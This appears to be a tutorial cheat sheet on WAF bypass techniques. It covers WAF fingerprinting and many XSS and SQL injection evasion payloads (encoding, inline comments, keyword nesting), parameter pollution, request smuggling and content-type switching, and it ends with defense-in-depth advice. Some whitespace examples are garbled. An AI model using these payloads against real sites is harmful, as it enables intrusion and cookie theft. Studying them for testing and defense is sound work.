Web Application Firewall (WAF) Bypass Techniques

Client → WAF → Web Server
         ↑
    Inspection layer:
    - Signature matching (regex patterns)
    - Anomaly scoring (score thresholds)
    - Positive model (only allow known good)
    - Rate limiting, bot detection

1. Signature-based:
   Block requests matching regex like:
   /<script.*>/i  — XSS
   /UNION.+SELECT/i — SQLi
   /etc\/passwd/  — LFI

2. Anomaly scoring (ModSecurity + OWASP CRS):
   Each matched rule adds a score
   If score > threshold (e.g., 5) → block

3. Positive security model:
   Allowlist only known parameters and formats
   Anything outside → block

4. Machine learning / behavioral:
   Baseline normal traffic, block anomalies

# Wafw00f — identify WAF product
wafw00f https://target.com
# Output: Target is behind Cloudflare WAF

# Manual fingerprinting:
# Send obvious attack: ?q=<script>alert(1)</script>
# Block page varies by WAF:
# Cloudflare: "Ray ID" reference
# AWS WAF: "403 Forbidden" from CloudFront
# ModSecurity: "406 Not Acceptable" or custom error page
# Imperva: branded error page with incident ID

# Check response headers:
curl -I https://target.com
# X-CDN: Imperva
# CF-RAY: cloudflare
# Server: awselb/2.0 (AWS)

<script>alert(1)</script>
URL encode: %3Cscript%3Ealert%281%29%3C%2Fscript%3E

UNION SELECT
URL encode: UNION%20SELECT

Double URL encode (bypass double-decode WAF):
< = %3C → %253C
(Application decodes once, WAF decoded differently)

<script>alert(1)</script>
HTML entities: &lt;script&gt;alert(1)&lt;/script&gt;

In attribute context (browser decodes):
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
(&#97; = 'a', etc. — browser interprets HTML entities in event handlers)

// eval() decodes base64:
eval(atob("YWxlcnQoMSk="))   // atob("YWxlcnQoMSk=") = "alert(1)"

// In CSP bypass (if unsafe-eval):
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2ll"))</script>

-- Hex encoding (MySQL):
SELECT 0x61646d696e   -- hex of "admin"
WHERE username = 0x61646d696e   -- no quotes needed!

-- Unicode normalization:
ＳＥＬＥＣＴ  → SELECT (some DB parsers normalize full-width)

-- Character functions:
WHERE username = CHAR(97,100,109,105,110)   -- "admin" in ASCII codes

-- SQL keywords case-insensitive in most DBs:
SeLeCt * FrOm UsErS WhErE 1=1
UNION select -- might bypass, Union Select works

-- MySQL inline comments:
UNI/**/ON SEL/**/ECT
UN/*avoid*/ION SEL/*bypass*/ECT
/*!UNION*/ /*!SELECT*/ 1,2,3

-- MySQL version conditional comments:
/*!50000 UNION SELECT */
(executes on MySQL >= 5.0.0)

-- Tab, newline, carriage return instead of space:
UNION   SELECT
UNION
SELECT
UNION
SELECT

-- Form feed, vertical tab:
UNIONSELECT
UNIONSELECT

UNI(ON) → if WAF matches "UNION" as whole word but not inside paren
se/**/lect → insert comment inside keyword

In some parsers:
UN%00ION → null byte inside keyword

GET /search?q=normal&q=<script>alert(1)</script>
WAF may check first q=normal (safe) → allow
App may use second q=<script>... → XSS executes

PHP: $_GET['q'] = last value
ASP.NET: Request.QueryString['q'] = comma-joined values

POST /login HTTP/1.1
Transfer-Encoding: chunked

5

admin

5



pass=



0

Frontend (WAF): reads Content-Length
Backend (App):  reads Transfer-Encoding

CLTE (Content-Length / Transfer-Encoding):
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0



ATTACK PAYLOAD

WAF inspects JSON body for SQLi:
Content-Type: application/json → inspects JSON
Content-Type: application/x-www-form-urlencoded → inspects form
Content-Type: multipart/form-data → may not inspect body
Content-Type: application/xml → WAF may not inspect as SQLi

# If app accepts multiple formats, switch to one WAF doesn't inspect

<!-- Tag filtering bypass — use SVG, Math, Details -->
<svg/onload=alert(1)>
<math><mtext></mtext><mglyph/><svg><mtext></mtext><malignmark/><svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>

<!-- Attribute bypass -->
<a href="jAvAsCrIpT:alert(1)">click</a>   -- case bypass
<a href="&#106;avascript:alert(1)">        -- partial entity encode

<!-- Handler bypass (if 'on' filtered) -->
<svg><animate onbegin=alert(1)>
<body onpageshow=alert(1)>

-- UNION SELECT filtered:
UNION ALL SELECT
UNION DISTINCT SELECT
UNUNIONION SESELECTLECT  -- if WAF strips UNION and SELECT, results in original

-- Whitespace filtered:
UNION(SELECT(1),(2),(3))

-- OR/AND filtered:
||     -- OR alternative in some DBs
&&     -- AND alternative

WAF is ONE layer — not the only defense:
✅ WAF: blocks common attacks, reduces attack surface
✅ Parameterized queries: prevents SQLi regardless of WAF
✅ Output encoding: prevents XSS regardless of WAF
✅ CSP: reduces XSS impact even if WAF fails
✅ Input validation: reduces attack surface

A bypassed WAF should not mean a successful attack.
Defense-in-depth ensures each layer independently defends.